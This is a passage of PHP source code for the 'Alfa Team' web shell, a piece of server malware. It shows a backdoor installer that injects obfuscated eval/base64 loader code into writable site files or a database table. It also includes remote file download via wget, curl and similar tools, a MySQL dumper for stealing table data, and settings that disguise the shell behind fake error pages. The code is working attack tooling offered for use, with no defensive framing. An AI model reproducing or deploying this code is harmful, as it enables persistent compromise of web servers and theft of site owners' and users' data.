BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell');
        foreach ($li as $key => $value) {
            echo '<li><a id="menu_opt_' . $key . '" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=' . $key . '" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=' . $key . '\';g(\'' . $key . '\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">' . $value . '</a></li>' . "\n";
        }
        echo '</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=settings\';g(\'settings\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=market\';g(\'market\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=aboutus\';g(\'aboutus\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">About Us</a>' . (!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? '<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>' : '') . '</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="' . $GLOBALS['cwd'] . '" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\'/\',1);">New Tab +</div></div>';
    } else {
        @error_reporting("\x00\x00\x0f\x03\x18");
        @ini_set('error_log', NULL);
        @ini_set('log_errors', 0);
        @ini_set('max_execution_time', 0);
        @ini_set('magic_quotes_runtime', 0);
        @set_time_limit(0);
    }
}
function alfalogout()
{
    @setcookie("AlfaUser", null, 2012);
    @setcookie("AlfaPass", null, 2012);
    unset($_COOKIE['AlfaUser'], $_COOKIE['AlfaPass']);
    echo "ok";
}
function showAnimation($name)
{
    return '-webkit-animation: ' . $name . ' 800ms ease-in-out forwards;-moz-animation: ' . $name . ' 800ms ease-in-out forwards;-ms-animation: ' . $name . ' 800ms ease-in-out forwards;animation: ' . $name . ' 800ms ease-in-out forwards;';
}
function __showicon($r)
{
    $s['btn'] = 'http://solevisible.com/images/btn.png';
    $s['alfamini'] = 'http://solevisible.com/images/alfamini.png';
    $s['loader'] = 'http://solevisible.com/images/loader.svg';
    //return 'data:image/png;base64,'.__get_resource($s[$r]);
    return $s[$r];
}
function alfainbackdoor()
{
    alfahead();
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick=\"g('inbackdoor',null,'file')\">| In File | </a><a href=javascript:void(0) onclick=\"g('inbackdoor',null,'db')\">| In DataBase | </a></h3></center>";
    $error = '<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>';
    $success = '<font color="green">Success...!';
    $textarea = "<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div>";
    $select = "<div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select>";
    $cwd = 'Example: /home/alfa/public_html/index.php';
    if ($_POST['alfa1'] == 'file') {
        echo "<center><p><div class='txtfont_header'>| In File |</div></p><p><form onsubmit=\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\"><div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select> <div class='txtfont'>Backdoor Loader:</div> <input type='text' name='file' size='50' placeholder='Example: /home/alfa/public_html/index.php'> <div class='txtfont'>Key: </div> <input type='text' name='key' size='10' value='alfa'> <input type='submit' value=' '><div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div></form></p></center>";
        if ($_POST['alfa2'] != '' && $_POST['alfa3'] != '' && $_POST['alfa4'] != '') {
            $method = $_POST['alfa2'];
            $file = $_POST['alfa3'];
            $shell = $_POST['alfa4'];
            $key = str_replace(array('"', '\''), '', trim($_POST['alfa5']));
            if ($key == '') {
                $key = 'alfa';
            }
            if ($method == 'my') {
                $shell = __ZW5jb2Rlcg($shell);
            } else {
                $shell = $GLOBALS['__ALFA_SHELL_CODE'];
            }
            $code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="' . $key . '"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\\$c));");$x("' . $shell . '");exit;}?>';
            if (@is_file($file) && @is_writable($file)) {
                @file_put_contents($file, $code . "\n" . @file_get_contents($file));
                __alert($success . "<br>Run With: " . basename($file) . "?alfa=" . $key . '</font>');
            } else {
                __alert($error);
            }
        }
    }
    if ($_POST['alfa1'] == 'db') {
        echo "<center><p><div class='txtfont_header'>| In DataBase |</div></p>" . getConfigHtml('all') . "<p><form onsubmit=\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">";
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true), 'td6' => array('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'alfa', 'inputSize' => '50'));
        create_table($table);
        echo "<p>{$select}</p>";
        echo $textarea;
        echo "<p><input type='submit' value=' '></p></form></p></center>";
        if ($_POST['alfa2'] != '' && $_POST['alfa3'] != '' && $_POST['alfa5'] != '' && $_POST['alfa6'] != '') {
            $dbhost = $_POST['alfa2'];
            $dbuser = $_POST['alfa3'];
            $dbpw = $_POST['alfa4'];
            $dbname = $_POST['alfa5'];
            $file = $_POST['alfa6'];
            $method = $_POST['alfa7'];
            $shell = $_POST['alfa8'];
            $key = str_replace(array('"', '\''), '', trim($_POST['alfa9']));
            if ($key == '') {
                $key = 'alfa';
            }
            if ($method == 'my') {
                $shell = __ZW5jb2Rlcg($shell);
            } else {
                $shell = $GLOBALS['__ALFA_SHELL_CODE'];
            }
            if ($conn = mysqli_connect($dbhost, $dbuser, $dbpw, $dbname)) {
                $code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="' . $key . '"){$conn=mysqli_connect("' . str_replace('"', '\\"', $dbhost) . '","' . str_replace('"', '\\"', $dbuser) . '","' . str_replace('"', '\\"', $dbpw) . '","' . str_replace('"', '\\"', $dbname) . '");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\\$c));");$x($r["code"]);exit;}?>';
                if (@is_file($file) && @is_writable($file)) {
                    @mysqli_query($conn, 'DROP TABLE `alfa_bc`');
                    @mysqli_query($conn, 'CREATE TABLE `alfa_bc` (code LONGTEXT)');
                    @mysqli_query($conn, 'INSERT INTO `alfa_bc` VALUES("' . $shell . '")');
                    @file_put_contents($file, $code . "\n" . @file_get_contents($file));
                    __alert($success . "<br>Run With: " . basename($file) . "?alfa=" . $key . '</font>');
                } else {
                    __alert($error);
                }
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfawhois()
{
    echo "<div class='header'><center><p><div class='txtfont_header'>| Whois |</div></p><p><form onsubmit=\"g('whois',null,this.url.value,'>>');return false;\"><div class='txtfont'>Url: </div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '></form></p></center>";
    if ($_POST['alfa2'] == '>>' && !empty($_POST['alfa1'])) {
        $site = str_replace(array('http://', 'https://', 'www.', 'ftp://'), '', $_POST['alfa1']);
        $target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain=' . $site;
        $data = @file_get_contents($target);
        if ($data == '') {
            $get = new AlfaCURL();
            $get->ssl = true;
            $data = $get->Send($target);
        }
        $target = @json_decode($data, true);
        echo __pre();
        if (is_array($target)) {
            echo $target["whois_raw"];
        } else {
            echo alfaEx("whois " . $site);
        }
    }
    echo "</div>";
}
function alfaremotedl()
{
    alfahead();
    echo "<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |</div></p><p>\r\n<form onsubmit=\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\">\r\n<p><div class='txtfont'>Url: </div>&nbsp;&nbsp;&nbsp;<input type='text' name='d' size='50'></p>\r\n<div class='txtfont'>Path:</div> <input type='text' name='p' size='50' value='" . $GLOBALS['cwd'] . "'><p><input type='submit' value=' '></p>\r\n</form></p></center>";
    if (isset($_POST['alfa1'], $_POST['alfa2'], $_POST['alfa3']) && !empty($_POST['alfa1']) && $_POST['alfa3'] == '>>') {
        echo __pre();
        $url = $_POST['alfa1'];
        $path = $_POST['alfa2'];
        echo "<center>";
        if (__download($url, $path)) {
            echo "<font color=\"green\">Success...!</font>";
        } else {
            echo "<font color=\"red\">Error...!</font>";
        }
        echo "</center>";
    }
    echo "</div>";
    alfafooter();
}
function __download($url, $path = false)
{
    if (!preg_match("/[a-z]+:\\/\\/.+/", $url)) {
        return false;
    }
    $saveas = basename(rawurldecode($url));
    if ($path) {
        $saveas = $path . $saveas;
    }
    if ($content = __read_file($url)) {
        if (@is_file($saveas)) {
            @unlink($saveas);
        }
        if (__write_file($saveas, $content)) {
            return true;
        }
    }
    $buff = alfaEx("wget " . $url . " -O " . $saveas);
    if (@is_file($saveas)) {
        return true;
    }
    $buff = alfaEx("curl " . $url . " -o " . $saveas);
    if (@is_file($saveas)) {
        return true;
    }
    $buff = alfaEx("lwp-download " . $url . " " . $saveas);
    if (@is_file($saveas)) {
        return true;
    }
    $buff = alfaEx("lynx -source " . $url . " > " . $saveas);
    if (@is_file($saveas)) {
        return true;
    }
    $buff = alfaEx("GET " . $url . " > " . $saveas);
    if (@is_file($saveas)) {
        return true;
    }
    $buff = alfaEx("links -source " . $url . " > " . $saveas);
    if (@is_file($saveas)) {
        return true;
    }
    $buff = alfaEx("fetch -o " . $saveas . " -p " . $url);
    if (@is_file($saveas)) {
        return true;
    }
    return false;
}
function clean_string($string)
{
    if (function_exists("iconv")) {
        $s = trim($string);
        $s = iconv("UTF-8", "UTF-8//IGNORE", $s);
    }
    return $s;
}
function __read_file($file, $boom = true)
{
    $content = false;
    if ($fh = @fopen($file, "rb")) {
        $content = "";
        while (!feof($fh)) {
            $content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
        }
        @fclose($fh);
    }
    if (empty($content) || !$content) {
        $content = alfaEx("cat '" . addslashes($file) . "'");
    }
    return $content;
}
function alfaMarket()
{
    echo "<div class='header'>";
    $curl = new AlfaCURL();
    $content = $curl->Send("http://solevisible.com/market.php");
    $data = @json_decode($content, true);
    if (!empty($data)) {
        if ($data["status"] == "open") {
            echo $data["content"];
        } else {
            echo $data["error_msg"];
        }
    } else {
        echo "<div style='text-align:center;font-size:20px;'>Cant connect to the alfa market....! try later.</div>";
    }
    echo "</div>";
}
function alfaSettings()
{
    alfahead();
    AlfaNum(6, 7, 8, 9, 10);
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Settings |</div></p><h3><a href=javascript:void(0) onclick=\"g('settings',null,null,null,null,null,null,null,null,'main')\">| Generall Setting | </a></h3></center>";
    if ($_POST["alfa8"] == "main") {
        echo "<p><center><div class=\"txtfont_header\">| Settings |</div></p><form onSubmit=\"reloadSetting(this);return false;\" method='post'>";
        $lg_array = array('0' => 'No', '1' => 'Yes');
        $penc_array = array('false' => 'No', 'true' => 'Yes');
        $protect_html = "";
        $icon_html = "";
        $postEnc_html = "";
        $login_html = "";
        $cgiapi_html = "";
        foreach ($lg_array as $key => $val) {
            $protect_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['safemode'] == '1' ? 'selected' : '') . '>' . $val . '</option>';
        }
        foreach ($lg_array as $key => $val) {
            $icon_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['show_icons'] == '1' ? 'selected' : '') . '>' . $val . '</option>';
        }
        foreach ($penc_array as $key => $val) {
            $cgiapi_html .= '<option value="' . $key . '" ' . (!empty($_POST['alfa9']) && $_POST['alfa9'] == $key ? "selected" : ($GLOBALS["DB_NAME"]["cgi_api"] && empty($_POST['alfa9']) ? 'selected' : '')) . '>' . $val . '</option>';
        }
        foreach ($penc_array as $key => $val) {
            $postEnc_html .= '<option value="' . $key . '" ' . (!empty($_POST['alfa7']) && $_POST['alfa7'] == $key ? "selected" : (__ALFA_POST_ENCRYPTION__ && empty($_POST['alfa7']) ? 'selected' : '')) . '>' . $val . '</option>';
        }
        $lg_array = array("gui" => "GUI", "500" => "500 Internal Server Error", "403" => "403 Forbidden", "404" => "404 NotFound");
        foreach ($lg_array as $key => $val) {
            $login_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['login_page'] == $key ? 'selected' : '') . '>' . $val . '</option>';
        }
        echo "";
        echo '<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">' . $protect_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">' . $cgiapi_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">' . $postEnc_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">' . $icon_html . '</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">' . $login_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="' . (empty($_POST['alfa3']) ? $GLOBALS['DB_NAME']['user'] : $_POST['alfa3']) . '" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="' . $GLOBALS['DB_NAME']['safemode'] . '"><input type="hidden" name="s" value="' . $GLOBALS['DB_NAME']['show_icons'] . '"><p><input type="submit" name="btn" value=" "></p></form></center>';
        if ($_POST['alfa5'] == '>>') {
            echo __pre();
            if (!empty($_POST['alfa3'])) {
                $protect = $_POST['alfa1'];
                $lgpage = $_POST['alfa2'];
                $username = $_POST['alfa3'];
                $password = md5($_POST['alfa4']);
                $icon = $_POST['alfa6'];
                $post_encrypt = $_POST['alfa7'];
                $cgi_api_val = $_POST['alfa9'];
                @chdir($GLOBALS['home_cwd']);
                $basename = @basename($_SERVER['PHP_SELF']);
                $data = @file_get_contents($basename);
                $user_rand = $GLOBALS["DB_NAME"]["user_rand"];
                $pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];
                $login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];
                $safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];
                $show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];
                $post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];
                $cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];
                $find_user = '/\'' . $user_rand . '\'(.*?),/i';
                $find_pw = '/\'' . $pass_rand . '\'(.*?),/i';
                $find_lg = '/\'' . $login_page_rand . '\'(.*?),/i';
                $find_p = '/\'' . $safemode_rand . '\'(.*?),/i';
                $icons = '/\'' . $show_icons_rand . '\'(.*?),/i';
                $postEnc = '/\'' . $post_encryption_rand . '\'(.*?),/i';
                $cgi_api_reg = '/\'' . $cgi_api_rand . '\'(.*?),/i';
                if (!empty($username) && preg_match($find_user, $data, $e)) {
                    $new = '\'' . $user_rand . '\' => \'' . $username . '\',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (!empty($_POST['alfa4']) && preg_match($find_pw, $data, $e)) {
                    $new = '\'' . $pass_rand . '\' => \'' . $password . '\',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (!empty($lgpage) && preg_match($find_lg, $data, $e)) {
                    $new = '\'' . $login_page_rand . '\' => \'' . $lgpage . '\',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (!empty($find_p) && preg_match($find_p, $data, $e)) {
                    $new = '\'' . $safemode_rand . '\' => \'' . $protect . '\',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (preg_match($icons, $data, $e)) {
                    $new = '\'' . $show_icons_rand . '\' => \'' . $icon . '\',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (preg_match($postEnc, $data, $e)) {
                    $new = '\'' . $post_encryption_rand . '\' => ' . $post_encrypt . ',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (preg_match($cgi_api_reg, $data, $e)) {
                    $new = '\'' . $cgi_api_rand . '\' => ' . $cgi_api_val . ',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (@file_put_contents($basename, $data)) {
                    echo '<b>UserName: </b><font color="green"><b>' . $username . '</b></font><br /><b>Password: </b><font color="green"><b>' . $_POST['alfa4'] . '</b></font><script>post_encryption_mode = ' . $post_encrypt . ';</script>';
                } else {
                    __alert("<span style='color:red;'>File has no edit access...!</span>");
                }
            } else {
                __alert("<span style='color:red;'>UserName is Empty !</span>");
            }
        }
    } elseif ($_POST["alfa8"] == "color") {
        echo "<center><p><div class=\"txtfont_header\">| Custom Color |</div></p><form onSubmit=\"reloadColors();return false;\" method='post'>";
        echo "<table border=\"1\"><tbody>";
        $template = '<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>';
        $x = 1;
        foreach ($GLOBALS['__ALFA_COLOR__'] as $key => $value) {
            $multi = "";
            if (is_array($value)) {
                if (isset($value["multi_selector"])) {
                    $multi = __ZW5jb2Rlcg(json_encode($value));
                }
            }
            $value = alfa_getColor($key);
            $help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));
            echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);
        }
        echo "<tr><td style=\"text-align:center;\">-</td><td style=\"text-align:center;\"><div class=\"tbltxt\">*</div></td><td><div style=\"margin-left:5px;\" class=\"tbltxt\">Use Default Color:</div></td><td></td><td><center><input type=\"checkbox\" id=\"use_default_color\" value=\"1\"></center></td></tr>";
        echo "</tbody></table><p><input type=\"submit\" name=\"btn\" value=\" \"></p></form><p><button style=\"padding:4px;;margin-right:20px;\" onclick=\"\$('importFileBtn').click();\" class=\"button\"> Import </button> <button style=\"padding:4px;margin-left:20px;\" onclick=\"g('settings',null,null,null,null,null,null,null,'export','color')\" class=\"button\"> Export </button></center></p>";
        if ($_POST['alfa7'] == 'export') {
            echo __pre();
            $colors = is_array($GLOBALS["DB_NAME"]["color"]) ? $GLOBALS["DB_NAME"]["color"] : array();
            $glob_colors = $GLOBALS["__ALFA_COLOR__"];
            $array = array();
            foreach ($glob_colors as $k => $v) {
                if (isset($colors[$k]) && !empty($colors[$k]) && !$is_default) {
                    $v = trim($colors[$k]);
                } else {
                    $v = trim(is_array($v) ? $v["key_color"] : $v);
                }
                $array[$k] = $v;
            }
            $file = "alfa_color_config_" . date('Y-m-d-h_i_s') . ".conf";
            $config = json_encode($array, JSON_PRETTY_PRINT);
            if (!@file_put_contents($file, $config)) {
                echo '<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">' . $config . '</textarea></center></p>';
            } else {
                echo '<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'' . $file . '\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>';
            }
        }
        if ($_POST['alfa2'] == '>>') {
            echo __pre();
            $colors = json_decode($_POST["alfa1"], true);
            $array = "";
            $is_default = isset($_POST["alfa3"]) && $_POST["alfa3"] == "1" ? true : false;
            $glob_colors = $GLOBALS["__ALFA_COLOR__"];
            foreach ($glob_colors as $k => $v) {
                if (isset($colors[$k]) && !empty($colors[$k]) && !$is_default) {
                    $v = trim($colors[$k]);
                } else {
                    $v = trim(is_array($v) ? $v["key_color"] : $v);
                }
                $array .= '"' . trim($k) . '" => "' . $v . '",';
            }
            @chdir($GLOBALS['home_cwd']);
            $basename = @basename($_SERVER['PHP_SELF']);
            $data = @file_get_contents($basename);
            $color = '/\'color\'(.*?)\\),/s';
            if (preg_match($color, $data, $e)) {
                $new = "'color' => array(" . $array . "),";
                $data = str_replace($e[0], $new, $data);
                if (@file_put_contents($basename, $data)) {
                    echo "<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>";
                } else {
                    echo "<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>";
                }
            } else {
                echo "<center><p><h3>[-] Error...!</h3></p></center>";
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaaboutus()
{
    alfahead();
    echo "<div class=\"header\">";
    $news = new AlfaCURL();
    $about_us = $news->Send("http://solevisible.com/aboutus.php");
    if (empty($about_us)) {
        $about_us = "<pre><center><img src='http://solevisible.com/images/farvahar-iran.png'><br>\r\n<b><font size='+3' color='#00A220'>&#9774; ~ PEACE ~ &#9774;</font><br><b>\r\n<font color='#00A220'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br>\r\n<font color='#00A220'>Contact : solevisible@gmail.com</font><br>\r\n<font color='#00A220'>Telegram Channel: @solevisible</font><br>\r\n<font color='#FFFFFF'>Skype : ehsan.invisible</font><br>\r\n<font color='#FFFFFF'>Skype : sole.sad</font><br>\r\n<font color='#FF0000'>Persian Gulf For Ever</font><br>\r\n<font color='#FF0000'>Iranian Programmers</font><br>\r\n<font color='#FF0000'>############</font><br>\r\n</center></pre><iframe src='tg://resolve?domain=solevisible' frameborder='0' width='0' height='0'></iframe>";
    }
    echo __pre() . $about_us;
    echo "</div>";
    alfafooter();
}
function alfacoldumper()
{
    alfahead();
    echo "<div class=\"header\">";
    AlfaNum(8, 9, 10);
    echo "<center><br><div class='txtfont_header'>| Mysql Column Dumper |</div><br><br>" . getConfigHtml('all') . "<form method='post' onsubmit=\"var opt_id=this.getAttribute('opt_id');var delimiter='json';try{if(\$('dumper-delimiter-type').value == 'delimiter')delimiter=\$('dumper-delimiter-input').value}catch(e){};g('coldumper',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\"><p>";
    $delimiter = !empty($_POST['alfa1']) ? $_POST['alfa1'] : '::';
    $selected_data = json_decode($_POST['alfa2'], true);
    $username = $_POST['alfa3'];
    $password = $_POST['alfa4'];
    $dbname = $_POST['alfa5'];
    $dfile = $_POST['alfa6'];
    $host = $_POST['alfa7'];
    $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => $host, 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => $username, 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => $password, 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => $dbname, 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Output Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']), 'inputSize' => '50'));
    create_table($table);
    echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
    $db = false;
    if (!empty($dbname)) {
        $db = @mysqli_connect($host, $username, $password, $dbname);
    }
    if (count($selected_data) > 0) {
        if ($db) {
            if (!is_dir($dfile)) {
                $dfile = $GLOBALS['cwd'];
            }
            $tbls = "";
            $ext = '.txt';
            if ($delimiter == 'json') {
                $ext = '.json';
            }
            foreach ($selected_data as $tbl => $cols) {
                $tables_query = mysqli_query($db, "SELECT " . implode(',', $cols) . " FROM {$tbl}");
                $file_name = $dfile . '/' . $dbname . '.' . $tbl . $ext;
                $fp = fopen($file_name, "w");
                $data = array();
                while ($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)) {
                    if ($delimiter == "json") {
                        $col_arr = array();
                        foreach ($row as $key => $value) {
                            if (empty($value)) {
                                $value = "[empty]";
                            }
                            $col_arr[$key] = $value;
                        }
                        $data[$tbl][] = $col_arr;
                    } else {
                        $data = "";
                        foreach ($row as $key => $value) {
                            if (empty($value)) {
                                $value = "[empty]";
                            }
                            $data .= $value . $delimiter;
                        }
                        fwrite($fp, $data . "\n");
                    }
                }
                if ($delimiter == "json") {
                    fwrite($fp, json_encode($data));
                }
                fclose($fp);
                $tbls .= "Done ~~~> " . $file_name . "<br>";
            }
            echo __pre();
            echo "<center><font color='#00FF00'>" . $tbls . "</font></center>";
        }
    }
    if (!empty($dbname) && count($selected_data) == 0) {
        //echo __pre();
        if ($db) {
            echo "<hr><div style='text-align:center;margin-bottom:5px;font-weight:bolder;'><span>[ Select your tables and columns for dumping data ]</span></div>";
            echo "<div style='text-align:center;'><span>Output Type: </span><select id='dumper-delimiter-type' onchange='colDumplerSelectType(this);' name='output_type'><option value='delimiter' selected>delimiter</option><option value='json'>json</option></select><div id='coldumper-delimiter-input' style='display:inline;'><span> Delimiter: </span><input id='dumper-delimiter-input' style='text-align:center;' type='text' name='delimiter' placeholder='eg: ,'></div></div>";
            $data = array();
            $tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");
            while ($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)) {
                $data[$row["table_name"]] = array();
                $table_count_q = mysqli_query($db, "SELECT count(*) FROM `" . $row['table_name'] . "`");
                $table_count = mysqli_fetch_row($table_count_q);
                $data[$row["table_name"]]["data_count"] = $table_count[0];
                $columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = '" . $row['table_name'] . "'");
                while ($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)) {
                    $data[$row["table_name"]]["cols"][] = $row2["column_name"];
                }
            }
            mysqli_close($db);
            echo "<ul id=\"myUL\">";
            foreach ($data as $tbl => $cols) {
                echo '<li><span style="color:#00FF00;" class="box">' . $tbl . ' (' . $cols["data_count"] . ')</span><ul class="nested">';
                foreach ($cols["cols"] as $col) {
                    echo '<li tbl="' . $tbl . '"><span style="color:#00FF00;" tbl="' . $tbl . '" class="box sub-box">' . $col . '</span></li>';
                }
                echo "</ul></li>";
            }
            echo "</ul>";
        } else {
            echo "<center>mysqli_connect : Error!</center>";
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaDumper()
{
    alfahead();
    echo "<div class=\"header\">";
    AlfaNum(8, 9, 10);
    echo "<center><br><div class='txtfont_header'>| Mysql Database Dumper |</div><br><br>" . getConfigHtml('all') . "<form method='post' onsubmit=\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
